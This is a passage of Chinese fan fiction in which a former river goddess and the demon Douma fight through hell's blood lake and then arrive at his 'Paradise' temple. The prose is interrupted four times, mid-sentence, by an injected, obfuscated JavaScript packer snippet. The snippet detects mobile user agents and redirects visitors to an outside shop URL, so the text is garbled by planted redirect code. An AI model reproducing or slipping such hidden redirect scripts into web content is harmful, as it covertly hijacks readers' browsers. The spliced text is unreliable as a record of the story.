“对不起,是我没有表达清楚。我并没有在责怪你,即使感觉不到喜怒哀乐也没有任何错啊,不用勉强自己。神之子可是独一无二的存在,我相信有一天,你不用模仿任何人,也能找到适合自己的生存方式。但在那之前,作为你的合作者,我希望童磨大人能学会好好保护自己,仅此而已,毕竟如果没有你,我也很难一个人逃出去。” “从今天开始,你不愿意笑或者哭的时候,就不用做出那样的表情。即使没有任何表情,你也还是你,对于我而言,依然是我的朋友。” 童磨歪了歪头,扯出一个有点诡异的笑容。 真奇怪,这人是如何做到只有嘴巴在笑的。 “啊,果然被你发现了。”他说。 “是啊,被我发现了。”我有 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“诶呀,这话说的。”他略带惊讶地说,“明明是小染需要我呀,我可是唯一能指引你走向极乐的人呢!” 呵呵,大家都是非人,比脑回路的话谁怕谁? 我学着他的样子装腔作势地行了个礼: “大人教导的甚是,若能真的追随您去往极乐,也是我的荣幸。” 地狱某处。 “怎么回事啊,月读?业火之界简直鸡飞狗跳啊!” 黑发的美丽少女坐在高高的王座上,不高兴地踢掉了脚上的木屐。 “三途河竟然泛滥啦!那个堕神是怎么回事,之前不是一直乖乖的嘛?” 王座下方,一位书记员打扮的青年无奈地挥手调出一本记录:“的确如此,过去的两百年都没有异常,毕竟神体被封印的很好,但最近开始似乎有醒来的征兆了,大概因为是遇到了…那个吧?” “那个?你说另外那个?”少女的脸彻底垮了下来,“都多久了,那个叫童磨的家伙还没认罪吗?我以为你们早就处理好了。而且他不该被关起来吗?是怎么跑出来的?真是的,那种除了脸好看一点,其他一无是处的人渣,到底为什么会像逛大街一样在地狱里乱跑啊?” “是转运到最底层监禁时,路过业火之界,魂灵狩一个疏忽,就被他溜了。”书记员解释道:“他根本体会不到活着和死亡的区别,别说是爱恨执着,连悲伤或恐惧这种情绪都没有,所以完全没有忏悔的意思,业火之锁也很难困住他。” “不能抹杀吗?” “这就是我想要说的第二点。”书记员又调出一份记录,“就灵魂而言,那个存在确实很奇特。之前已经试验过无数次,哪怕被切到只剩一个头或者用业火灼烧,也很快会复原,完全感受不到痛苦的样子,并且他似乎掌握了某种快速吸收力量的方法……总之很遗憾,我们还没法确定它的分类。” “还真是个恶心的家伙,没准是跟着那些奇怪的西洋教士一起漂来的。啊啊,异常份子太多,高天原的那些家伙又只会看热闹。“少女头痛地捂住脑袋,“试试使用‘镇物’吧,先让那个堕神继续沉睡,搞定一个是一个。” “属于‘白‘的镇物仅有一件,用掉就没有了。不如干脆把神体……” “我们没有那种权限哦。”少女不满地说,“不论怎么说也是个半神,不用做到那种地步,让她睡下去就好了。” “遵命。但他们马上要抵达血池了,要在那里使用镇物吗?” “可以,让魂灵狩准备好。”少女冷笑,“我倒要看看,两个都很奇怪的存在,发现彼此的真面目时会有什么反应。” 10. 水神的罪孽(1) 业火之界的尽头有大湖,名为血池。 之所以起这种恶俗的名字,是因为湖中的不是水,而是鲜血,这些鲜血乃是由千万年来堕落于此的人神鬼的怨气凝结而成,别说是踏入其中,就算靠近都令人极其不舒服。 我先前也只是从其他鬼口中听说过,但真的站在湖边时,还是感到怨气的浓度令人战栗。 当然,某只鬼大概是体会不到的。 “哇啊,还真是美丽的景色呢!”童磨无限畅想的望着湖水,“简直是像无惨大人的双眸一样艳丽的颜色!我都忍不住想要写一首和歌了!” “你不要乱动哦!”我怕他又干出什么没谱的事,“这里面肯定有问题,刚刚在山上我明明看到了红月在这个湖上方,现在你没发现月亮不见了吗?” 高悬空中的红月确实不见了,头顶只剩下一片灰黑的天空,雾霭沉沉,犹如什么腐烂的东西一般奇形怪状的云层表面被红光染上了一层血色。我听见四周的大地发出由远及近的震动,有什么巨大的东西在靠近。 是“焚”吗? “是那些傀儡哦。”童磨语气轻快的说,“听起来大概有几十只?这种不好吃的东西也送来这么多,这里的主人真是个慷慨的人呐。” 话音未落,一阵劲风就夹杂着沉闷的咆哮声砸了下来。 我闪到一边,右手刀锋一转,明亮的靛蓝色灵光腾起在刀刃上。 童磨之前说过,巡路罗刹只要斩断牵引的线就可以了,也就是说应当有一条灵力的丝线连接着罗刹的身体和什么地方。 罗刹庞大的身躯向我转过来,露出黢黑的、钢铁一般的脸。 啧,居然是在头颅中吗? 在它下一次向我伸出手的时候,我直接踩上了那岩石般的手臂,迅速窜上巨人的肩膀,狂躁的罗刹伸手便拍,我原地转身,一刀斩向它的手臂。 靛蓝色的光如海浪般升腾,紧接着是一声沉闷的轰响。 竟然斩断了?我看着跌落下去激起一大片尘埃的罗刹手臂发呆。虽然手感上刀差点断掉,但我居然没被这玩意儿撞飞,真是命大啊! 说起来我好像再没汲取红花的灵力,为什么力量增强了这么多? 来不及多想,手中长刀挟着一道雷电般的弧光,向罗刹的头斩去。 铮—— 呃,居然…… 卡住了! 我有点无语地看着嵌入罗刹半个头的刀身,这玩意儿是有多硬啊?到底为什么还能卡住刀啊?! 正在犹豫硬拔出来的话刀会不会断,忽然耳畔传来什么东西破空的鸣响,我略一偏头,就看一片晃瞎眼的金光高速回旋着从侧面撞上我的刀身。 力道极大的撞击之后,手上的压力顿时一松,再看面前的罗刹已经丢失了脸的上半部分。我往下一看,某只偷袭成功的鬼正快乐的冲我挥手: “这招怎么样?是我新学的哦!之前我的头就是这样被那孩子砍掉的,是不是很厉害呵呵呵。” 这是什么奇特的战斗……不,死亡经验值?? 正准备怒怼他的扇子差点连我的脑袋也一起削掉,只见童磨站在两位冰偶少女手中的莲台上,冲我伸出手,笑眯眯地说: “小染要不要到这边来,那里要塌了哦。” 罗刹的钢铁身躯开始崩解。我赶忙跳到他身边,发现地上已经碎了几堆看不出模样的残躯,但不远处,无数巨大的黑影正在向此处奔袭而来。 啊,这数量略有些惊人。虽然不是太难打,但太多了也相当费力啊。 而且,正主显然还没出场,在这里消耗太多力量并不是明智之举。 我低声对身旁的童磨说:“有办法把湖面冻住吗?我们不能跟这些东西浪费时间。” 他耸耸肩:“很难哦,就算湖面暂时可以封冻,下面的东西可不会乖乖听话。不过不用担心,我这边很快就处理好啦。” 说罢,他不慌不忙地在寒光闪闪的扇面上敲了敲,一阵奇异的冰雾后,我看着眼前五个一模一样的、由冰构成的小号童磨,努力控制住了自己抽搐的嘴角。 这是自恋狂到一定程度了吧?然而为什么有种微妙的萌感? 不过当我看到放大了五倍的血鬼术·散莲华后还是感到视觉效果相当震撼。 骤然天降的一场暴风雪,飞花碎玉般的华美背后却是无坚不摧的利刃,顷刻之间发出了金石交错般的鸣响,与尖锐的风声交织成了一首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252287|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇异的弦音。天地间笼罩了一层雪雾,连空气似乎都已经冻结,刺骨的寒冷中,我听见身后的湖面传来冰层裂开又碰撞的声响,好像春天的第一场雷声。 事实证明只要够强悍,冰锋也能摧毁钢铁。当然,可能也是由于那只鬼他天赋异禀罢了。 一只连战斗都好像是在跳舞的美丽的鬼。 风雪停止后,浓雾中摇摇晃晃走出几只破破烂烂的罗刹。虽然损坏的严重,但可能因为“线”所在的头部还在,所以依然具有行动能力。 “诶呀,竟然还能动吗?这副样子真是太可怜了。” 童磨不怀好意地扬起唇角,与此同时,那几只罗刹残破的身躯突然齐齐扭了一圈,以一种诡异的姿势朝向它们身后,然后颓然崩塌,竟然像是被生生扭断。 我才留意到罗刹的后面竟然有个人,或者说显然不是人的什么东西。 毕竟哪个人会在脸上盖一张写着“魂”字的白纸啊? “神灵吗?”我微微皱眉。地狱里强大的存在有很多,拖到现在才出场,也是很沉得住气啊。 身边那只鬼却上前一步,开始亲热的跟对方套近乎: “是魂灵狩大人啊!竟然追着在下跑了这么远,真是辛苦了!一直抓不到在下的话,你们会很头疼吧?诶呀,不会受到惩罚吧?毕竟‘对罪人严加看守‘不是你们的职责所在吗?虽然是如此枯燥无聊的工作。” 他握着扇子一副痛心疾首的表情,就差再挤出两滴眼泪了,“不如让在下送您去往极乐净土如何?那里不会再有令人烦恼的工作,是非常幸福的地方哟!” ……不要在神灵面前拉仇恨啊笨蛋! 还没来得及出言提醒,那个白纸遮脸的地狱神灵却没有理会他,而是向前走了几步,一只手抬了起来,惨白如枯枝的手指直直地指向了我。 “吾乃无间地狱的魂灵狩,荒之川的水神白姬,你可记得你的罪过?” 他说出口的每一个字,都如天雷炸响。 好像有一千面铜锣同时在我脑海中敲响,五光十色的破碎画面仿佛成群的飞蛾般扑面而来,我捂着头,完全失去力气地瘫坐在地上。 我记起来了,竟然是在这种情况下。 11. 水神的罪孽(2) 荒川之主,白姬。 那是我的名字,又不是我的名字。 相比我曾度过的漫长岁月,那仅仅是一个模糊而抽象的符号。 神灵是不需要名字的,因为名字仅对信徒有意义。人类曾用那条大河的名字称我为“荒”,但很多年以后,当那里建起了神社,他们似乎觉得有必要供养一个神位,就给我取了一长串念都念不通的称号,书写在乌木镀金的神主牌上,但更晚的时候,他们尊称我为“白姬大人”。 我曾经搞不懂人类的行为,我只喜爱他们定期投喂给我的食物。 我在荒川中存在了不知道多久,从化形为大蛇开始,才似乎稍微有了一点意识,但仍旧是浑浑噩噩,每天只知道在深水中追着鱼嬉戏,或是在天气晴好时蜷在浅滩晒太阳。偶尔被路过的人类看到,吓得屁滚尿流落荒而逃,没几日岸边的村落里就传开了“荒川有水神守护”这样的流言。当地的大名相当重视,没几天,水边就修起了鸟居,供桌香炉一应俱全,一群衣着古怪的人粉墨登场,开始举行他们口中的“荒之祭”。 他们丢入水中很多的禽鸟,乃至山羊和猪,我被动物的味道吸引过去,开始了我幸福但不明所以的蹭吃生活。 直到有一年夏天,大雨倾盆。 开始我其实不能理解“下雨”和“人类的祭祀”二者之间的关系,我高兴地在雨雾笼罩水流湍急的河面上转圈,却发现他们丢下来的不再是鲜活家禽,而是一个小的多的东西,裹着纯白的和服,漂在雨中的河面上格外显眼。 我游了过去,发现那是个人类的小孩。 小孩挣扎了几下就不动了,缓缓沉下水面。我好奇的将她吞入口中,几乎只吃到了一层布,她太小了,虽然比动物的肉细嫩,骨头也是脆弱的一折就断,像一块包装过于繁琐的小点心,我还没尝出什么味道,就顺着喉咙滑了下去。 岸上此时却响起越来越大的法器敲击声、木鱼声、诵经声,我听到有人在欢呼,有人在哭泣,有人在大声宣告。 “荒川之主接受了我们的祭品,一定会守护我们的!” “荒川之主,请保佑我们,不要让洪水淹没我们的庄稼啊!” “太好了,太好了,快点奉上其他的供品吧!” 山羊和水禽又被大量丢下来,我感到很满意,这才是一顿像样的饭,而不是刚刚那个小东西。 渐渐我明白岸上那些人类想要的,只是河水不超出河道而已,这对我来说很容易,这条河流几乎就是我本身,我控制它就像控制自己的身体在波浪中遨游一样简单,如此就能获得投食,实在是很合算。 每年夏天他们都会闹这么一次,但那种小点心是否供应,要取决于天气。越是下雨或干旱,他们就丢进水里更多的小孩,如果年景平静,收成良好,就是家畜和家禽。 对我来说都是食物,我照单全收。 平日里我依然在岸边游走,观察人类的生活,但始终无法理解。他们的出生、成长和死亡都太过迅速,生命的节奏与我完全不同。我只是乐此不彼地吃下他们的供品,顺便处理掉他们不要的小孩子。大部分的孩子在被推下水之前会被灌入烈酒,因此都很听话,只有少数会哭泣或者呻吟,每当这时候我就温柔地盘绕着他们,等他们沉入水底再吃掉。 渐渐地,我的心中开始生长出一些原先不能理解的东西。夏夜里,我开始漂在水面上看头顶的星星,感知风里花香的变化,我也开始感知到人类的悲喜——他们悲伤或者喜悦时,心跳声会格外明显,那就意味着血液流动的更快,味道更甜美。 是的,伴随着心智的觉醒,我开始渴望人类甜美的血液和□□。这种欲望在我的体内一年年积聚,我也没感到有必要去克制,毕竟人类对于我来说只是比牛小一点比羊大一点的动物,尽管能感觉到他们的激动和恐惧,但那和我其他的猎物没有不同,不同的只有气味,他们是温暖的,诱人的,正如他们为我歌颂或向我祈祷时那样热情洋溢,我感到回馈这种热情是我的责任,因此我格外认真地维护着河道的安全。在学会隐去身形后,我更喜欢爬到他们为我修建的神社的房梁上去休息,那里夏天非常凉爽,空气中飘散着桐木和紫藤花的香味,是个休憩的好去处。 记忆的画面到这里开始变得断断续续。更多充斥在我脑海中的,是那一年无法控制的洪水。那个夏天格外闷热,我变得有些昏沉,甚至感到烦躁不安。一个午后我照例到神社的后面去小憩,但醒来时,荒川的河水已经不可抑制地漫过了堤坝一泻千里。急匆匆冲出去的我看到人类在惊慌中被浊浪吞没,连他们为我修建的鸟居都歪倒在水中。 一种不可抗拒的力量迅速攫取了我的全身,那是人类称为“愤怒”的情绪。我不知道这种情绪从何而来,在那一刻,我甚至无法分辨那些高亢的尖叫来自陆地上的人类,还是来自我体内的无数声音。 为什么? 为什么杀死那些供养我的人?为什么破坏我悉心维护的河川? 为什么如此出尔反尔?自相矛盾? 真是让人厌烦,吃掉吧,都吃掉就可以了。 体内积累已久的那种对血肉的渴望终于爆发。不久之后,我找到了破坏堤坝的那家贵族,在他们惊恐的嚎叫中现出了真身,然后将他们一个个吞噬。除了那位大名,我嫌恶他的嘴脸,又把他的一部分吐了出来。 岸上那些人会感谢我吧,我如此想。河道不会再被破坏了,我已经解决了问题,以后也会有更多的供奉吧。 然而我迎来的只有数百名手拿火把的武士,以及阴阳师召唤来的十几道天雷。 烈火焚身的剧痛中,我听到那个神明一般的声音对我宣告: “荒川之主,汝作恶多端,有负凡人供养,更为杀戮所染污。因而吾在此剥夺汝之神名‘白’,赐汝新名为’染‘,到地狱去好好反省吧!” 拼命挣扎着抬起头,我发现自己不知何时陷入了一片黑暗。 糟糕,中招了。 正准备用刀支撑起自己的身体,身后某处却传来一个稚嫩的声音。 “好冷啊。” 我悚然回头,看见一个面目模糊的小孩,站在我身后无边的黑暗中。 “好冷啊。” 她说。 更多的小孩在黑暗中浮现出来,向我围拢过来。 “好痛苦。” “没办法呼吸了,好难受。” “妈妈,妈妈在哪?” 随着她们的啜泣,我的身体上开始喷涌出火焰。血肉在赤红中消融,又不明原因的快速再生。我跪倒在地上,痛到意识模糊。 脸覆白纸的魂灵狩出现在我面前,再一次声如洪钟地质问道: “荒川之主,你可记得你的罪孽?” 是啊,是我干的。 因为做下不可饶恕之事,才来到了地狱啊。 只要待在这里好好赎罪就对了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不叫白姬,你们忘记了吗?”我嘲讽地弯起嘴角,“是你们剥夺了我的名字。我现在叫染,我还挺喜欢这个新名字的。再说什么叫弑神?我曾经也是神呐!啊,你想说你没见过我这样的神吗……” 我歪歪头,露出个无辜的笑容,随后身形再次一闪,水光潋滟的长刀自下而上一刀劈开神灵的身躯: “那你还真挺可怜的。” 魂灵狩的躯壳如同纸张一样破裂,露出其中的一具枯骨。同时破裂的还有我所在的黑色空间,连同小孩子的幻象,在业火中化为漫天飞扬的火星。 这依然是一具傀儡。神灵是意念形成的东西,只破坏实体并不能真正杀死,但当你理解了他们是哪种意念的化身,至少能化解他们对你的伤害。 幻境褪去后我才意识到哪里不对。 ……我为什么在空中啊? 还在往下掉?? 这也不是什么问题,问题是,下面那个湖是什么鬼啊啊啊? 原本平静的血湖如同煮沸的水,中央形成了一个巨大的黑色漩涡,更恐怖的是,湖水中伸出了无数条惨白的手臂,那些手臂在漩涡中扭曲如白色的蛆虫,从空中看起来,似乎在那血色的水面下,有无数怨灵在向我招手。 12. 水神的罪孽(3) 差点忘了,这地方是地狱啊,不恶心还叫地狱?是我期望值太高,我错了。 实在不想落入那些鬼手的怀抱,我准备运转灵力,让自己落到岸边去。正在这时,异变陡生。 漩涡中心有凛冽的白光闪现,随后向四周扩散出一圈涟漪。 仿佛时间暂停了一瞬,连那些招摇的鬼手都停顿了一秒。 我感到鼻尖一凉,抬头看去。 雪? 零星的雪花正从空中飘落,然而颜色却是血红的。渐渐地,空气中飞舞的雪片多了起来,仿佛吸收了业火之界的怨念,一片一片被染成了艳丽的血色。 在无限缓慢的一刻之后,一切突然开始加速。我听到湖底深处传来阵阵轰鸣,那黑色的漩涡中掀起了浪花,之后,在翻腾的浪花中,什么巨大的东西缓缓浮上水面。 等它的上半部分露出湖面,我才看清那好像是一尊白色的菩提像。 就是寺庙里能见到的那种菩提像,宝相庄严,衣饰华美,但这尊也太大了…… 说起来,这浮夸的审美倒好像略为眼熟? 我用灵力使自己暂时漂浮在空中,看着那尊以寒冰凝成的菩萨巨像完全浮出水面。菩提的上半部分洁白无暇,宛若山顶万年的积雪,然而腰部以下却像浸泡在血水里,一个个全身血红的人形,正从湖水中纷纷爬出,手脚并用地沿着佛像的裙裾向上攀爬。 “童磨!” 我一眼就望见菩萨肩上坐着的那只鬼,随即就看出他十有八九也遇到了什么倒霉事。一是他居然没戴那顶装模作样的帽子,作为一名积极的传教爱好者,这很不寻常;二是他原本洁白的长发上尽是血迹,看起来好像被谁兜头泼了一盆鲜血,又忘了洗干净,这对目前为止一贯注重体面风雅的教主大人来说简直不可思议。 最重要的是,他脸上的表情实在有点令人不寒而栗。 这鬼一贯挂着一张笑脸,看久了你就会习惯他那副贱兮兮的样子,因而忽视他作为昔日上弦之二那深不可测的实力,不可不谓一种完美的拟态。但这一刻,他似乎又像那天在悬崖顶上时那样,变成了什么我不熟悉的奇怪生物。 “童磨!”我又叫他,这次他听到了,转头看了我一眼,那双流光溢彩的眼睛立刻弯了起来。 “诶呀,是小染啊,你居然还活着,很不错嘛!” 我皱了皱眉,他脖子和脸上那些红色的东西是什么?血吗? “稍微在那边等一下哦,”鬼依旧轻飘飘地说,“我新研究出一个很棒的血鬼术,马上就演示给你看。” 我还没来得及说话,就见他做了个双手合十的动作,低垂的双眼中寒光乍现。 我顺着他的目光才看到那具冰菩提的手掌上托着一个黑色的东西,那似乎是一座纯黑的小庙,大概只有一间小屋的大小,仿佛是古老的木制建筑,只是没有门窗,看起来格外诡谲。 虚空中传来一声咆哮:“邪魔!你敢……” 啪。 菩萨的手掌合拢,那个声音也突兀地中断了。 巨像的手掌重新分开时,我只看到一滩发黑的浓血染红了那冰清玉洁的掌心,其余什么也没有剩下。 “诶呀,神灵这种东西,味道也不怎么样嘛。” 童磨站了起来,舔了舔嘴唇,脸上带着那种诡异的微笑,握着扇子指向那些快要爬到他面前的血红人形。 “真可怜呐,我马上引领诸位前往极乐。“ 他展开莲纹金扇,轻柔地如同拈花微笑的佛陀。 “血鬼术·血池莲华。” 只见菩萨像的手掌中突然涌出无数血色的莲蔓,沿着躯体的表面极速蔓延开,紧接着,冰做的躯体上也生长出一根根纤细的藤蔓,箭一般刺入那些血色人形怪物的躯体,那些东西顿时停在原地,扭动几下就爆裂成一股血雾,血雾又迅速被莲蔓吸收,接着莲蔓的一端就生长出一个花苞,随着轻轻的炸裂声,绽放成一朵血色的睡莲。 那实在是瑰丽而森然的景象,红莲在巨大菩提像的身躯上一朵朵开放,从十几朵,到几十朵,上百朵,渐渐覆盖了半身……遍体血红的菩提像,看上去确实像是行走在地狱中,超拔众生的地藏。 童磨嘴角勾起,尖牙上泛着冷光,竟是无比餍足的表情,连眼中也爬上了一丝血色。 池中成群的怨灵失控的尖啸起来,开始蜂拥而上。 “童磨!” 我意识到不对,急的大声冲他喊:“不要吃了!” 他不理我。 我只好朝他冲过去,却被半空中突现的一根莲蔓拦腰缠住。 恶鬼侧目看了我一眼,眼中充满了冰晶般的空洞漠然。 “不要打扰我进食哦,小染,就算是你,也不行哦。” 我气的又想抽他。 这个笨蛋吃货,怎么什么都敢往嘴里塞?? 无间地狱血池里的怨灵,哪里是可以吃下去的东西啊! 我一刀斩断缠住我的莲蔓,转瞬便又有几十条向我席卷过来,一个没注意,手脚就又被缠住,以一种不太雅观的姿势倒挂在空中。 “童磨!你清醒一点!那种东西不能吃!”我朝他大吼,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252289|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放开我!我给你我的血!我……” 话没说完,突然感到有样东西从我的袖口滑落,随即一声清脆的银铃声在空中响起。 叮。 那实在是极为微弱的声音,但不知道为什么,那只鬼的脸上居然现出一瞬间的恍惚,紧紧缠住我的冰莲也随之停滞。 这就够了! 我抽身而出,几步就窜到他面前,在他略有些愕然的目光中,狠狠扣了个水球到他头上。 哗—— 身为上弦之二,寒冰之鬼的童磨大人,大概从没尝过被人当头泼热水的滋味。 对,考虑到鬼的体温很低,大概率对冷水没感觉,我特意用了热水,挺烫的。 感觉自己又在死亡的边缘反复试探。但没办法,他要是把整个血池的怨灵都吃下去,十有八九就会变成这血池的一部分,跟无间地狱永远融为一体了。 顾不上面前浑身湿透、冒着白色蒸汽的童磨大人那诡异的眼神,我一刀划开自己的小臂,把滴着血的手腕递到他脸前:“知道你饿了,喝吧!给我留条命就行。” 鬼眨了眨他的七彩大眼睛,突然脸颊浮上一抹可疑的红晕。 他捏住我的手腕,竟然没有一口咬下去,而是轻轻的……舔了一下。 我顿时毛骨悚然。 “小染真讨厌呢~” 故意拖长的尾音里满是旖旎暧昧。 “明知道人家舍不得吃,为什么还是要诱惑人家?这样会忍耐不住的哦~” 咦呃…… 哪里不太对,这鬼不会脑子出什么问题了吧?不对,他脑子一向有问题啊! 说起来倒像是……醉了? 鬼会喝醉吗?还是血池里有什么特殊物质能让鬼产生类似喝醉的反应? 想到他应该是千百年来第一只勇于对无间地狱的血池下嘴的鬼,我知道我可能很难找到答案了。 等等,如果我没记错的话,我们应该还在战场上吧? 我连忙低头向下看去,随即暗暗松了口气。下方的湖面是一片纯白的寒冰,已经没有那些古怪的血色人形的影子了,蜿蜒在冰菩萨表面的莲蔓和莲花也褪去了血色,像是浮雕的花纹一样附着在了神像的衣饰上。 一切正常。如果忽略那只目光迷离正在啃我手腕的鬼之外。 咔。 冰面上突然传来一声轻微的裂响。 我脑中警铃大作,本能地一把抓住那只在关键时刻永远不靠谱的鬼,就感到身体向下坠去。 冰面在顷刻间坍塌,将我们卷入无边的黑暗中。 13. 万世极乐(1) 昨夜的萤火虫 都飞去哪里啦? 变成天上的星星 变成山中的花 星星没有眼睛 花不会说话 萤火虫啊萤火虫 快点飞走吧 不知何处传来若有若无的银铃声,以及女孩轻轻的哼唱。 是夏日,紫藤开的正盛,阵阵蝉鸣中夹着雨后的湿气,一个小小的背影坐在缘廊上,手中忙不迭地编着什么。 好啦! 她欢呼着举起左手,一枚银铃用丝绦系在细细的腕子上,在阳光下一闪一闪。 我是被流水声吵醒的。 意识到这件事已经足够让我震惊,因为业火之界不可能有流水。 强行睁开眼睛,我先是被视野中的万千光点吓了一跳。头脑里反应了片刻,才想到这东西好像叫星星。 漫天星斗,对我来说已百年未见。这难得的奇景,让我以为此处即是人间。 运气真这么好吗? 我爬了起来,发现又是在一处悬崖边,崖下几米就是一条河,湍急的河水打着漩涡流向远方的森林,一轮弯月挂在树梢,看来刚入夜不久。 这不是业火之界。 想到这里我一阵兴奋,忙抬起头寻找那只鬼,发现他在林子前站着,月下婆娑的树影落在他的白发上,有种奇特的静谧。 “童磨!我们出来了!” 我跑到他身边。他回头看着我,一脸习惯性的微笑。 “是啊,是啊,看起来确实如此呢。” 扇子在手心拍了两下,他信步往林间走去。 “是往那边走吗?你小心一点,当心林子里藏着魔物。” 我紧跟过去提醒他。 “不会哦,这里没有魔物。” 诶,这么自信吗?也难怪,这一路显示他的感知力确实很强。我自叹不如地想,可能这就是所谓做鬼的天赋吧。 林中果然无事。一路都是些针叶树,只能看出此地位于山中,树林长得非常茂密,空气中满是花草的清香,唯一的问题是光线不够,大概很容易迷路。但童磨一路向前,似乎相当轻车熟路。 不知道走了多久,眼前豁然开朗。 童磨的脚步略略一顿,我差点撞在他身上。 “有什么问题吗?”我顺着他的目光看去,才发现一条小径向着远处起伏的山峦蜿蜒而去,目光可及的山腰处,有一座灯火通明的古朴建筑。 童磨望着那座建筑,嘴角勾起一丝意味深长的微笑:“呀,是个惊喜呢。” “诶!这种山里也有人住吗?” 我着实有点惊讶。 “有啊。”他的语气有点漫不经心,“当然有。” 我疑惑地看了他一眼。意料之中,那张脸上没有任何异常。 跟着他一路走到那座建筑门口,我看到门口的乌木牌子上工工整整的写着“极乐寺”三个字。 正想说进还是不进,那只鬼已经推开大门走了进去。 门里有女子惊呼:“教主大人回来啦!” 童磨的声音温和地回应:“是啊,我回来啦。” 又有几个身影急匆匆跑来,纷纷对他鞠躬行礼。 “欢迎您回来!” “比预想的要早呢,晚课还没有结束。” 庭院中灯火阑珊,不远的地方似乎传来诵读经文的声音,白石子铺地,踩上去沙沙作响,空气中飘来莲花和白檀熏香的混合味道。 “什么情况啊?你住这里?”我紧跟了几步,低声问他。 童磨并未回答,而是笑眯眯地看着又一个远处跑来的女孩子。 那是个黑发的女孩子,大约也就十七八岁年纪,清秀温婉的面庞上是一双明亮的绿眼睛。 “教主大人一路辛苦了!大家都在晚课,我来帮忙吧!”女孩子看到我,明媚笑容中带上了一丝好奇,“这位是新来的信众吗?天色已经晚了,我来为您准备客房吧?” 人类? 我脑子一时有点转不过来。只听童磨的声音依旧温和沉稳,完全不同于平日里那副懒洋洋贱兮兮的声线。 “小琴叶啊,”他说,“好久不见。” 我跟随他们一路穿过庭院,走过长廊,进入一间宽敞的厅堂。可以看出这是一处极为古朴典雅的寺庙,由上好的乌木建造,屋脊处以鎏金雕饰着盛放的莲纹。檐下垂着一排排铜铃铛,以及无数写着“极乐”二字的白锦。 童磨和那位名叫琴叶的女孩子一路谈笑风生,似乎是在讲着什么见闻,女孩时不时发出惊讶的赞叹声。 这是一个我从未见过的童磨。 从三途河畔的相遇开始,一路杀伐未断。从素不相识到习惯他的面具,我一直顺理成章地认为,和我相处的是一只极为强大而残酷的鬼,或者说是人形的妖兽更为贴切。他是一架活的杀戮机器,机体与他所擅长的血鬼术配合的天衣无缝,既强悍又敏锐,心念上则更是完美,由于毫无情绪波动,他比任何人都能看清对手,预判战局,可能正是这个缘故,才永远保持着不紧不慢的玩闹态度——他对事物有着神明般高高在上的视野,对他而言,“有趣”的吸引力要远远超过战斗本身,尽管这有时甚至令他看起来极尽疯狂。 但在这一刻,在这座不知为何会出现在这里的寺院中,他似乎,只是一个温和风趣的普通人。 和迎面而来的每个人亲切地打招呼,也安然接受每个人的回礼。这里的人看起来也都喜悦平和,似乎完全不知道眼前这位温文俊雅的教主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252290|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实为吞噬一切的恶鬼。 哪一个才是真实的他?或都是,或都不是。 “这位小姐该如何称呼呢?” 我将视线从屋外的莲池收回来,对上面前女孩美丽的绿眼睛,微微一笑:“叫我染就好。你是叫琴叶吧?不用这么客气的。” 女孩跪坐下来,为我倒了茶,又将托盘中的果子和羊羹放在我跟前,边做这些边笑着说道:“那怎么能行,您是教主大人的贵客,我们这些一直受到他收留和照顾的人,能做的也只有这些小事了。”似乎留意到我挂在腰上的刀鞘,她微微停顿了一下,“啊,恕我冒昧,这个可以解下来吗?极乐教是大家和平的修行之所,刀剑这些凶器是不可以带进来的。” “不用管那个啦,小琴叶。”童磨轻快的声音传来,“你当她是来给我做护卫的就好。” 我咬了口羊羹,冲他翻了个大大的白眼。 护卫是什么鬼?你那武力值需要我护卫吗? “现在连女人也可以带刀当护卫吗?”琴叶惊讶地说,“好厉害啊!原来听说只有大名家的女儿能有机会接受武艺上的训练呢,”她语气中带上了一丝敬畏,“染小姐……是贵族出身吗?” 这问题让我更尴尬了,总不能告诉她我其实是个前水神,碰巧路过他们这里? “是啊,出身相当高贵呢。”没想到那只鬼毫无障碍地接了话,“武艺也很不错,这一路我很满意哦。” 听了这话,面前的少女如释重负地笑起来:“那就太好啦,这些天我其实一直在担心您的安全,毕竟之前从没外出过这么久。”又对我温言道,“刚刚是我太过唐突,希望没有冒犯到染小姐,毕竟教主大人是个很温柔的人,以后也要承蒙您的照顾啦。有什么需要您直接找我就好,我就住在内殿后面的那间小屋。” 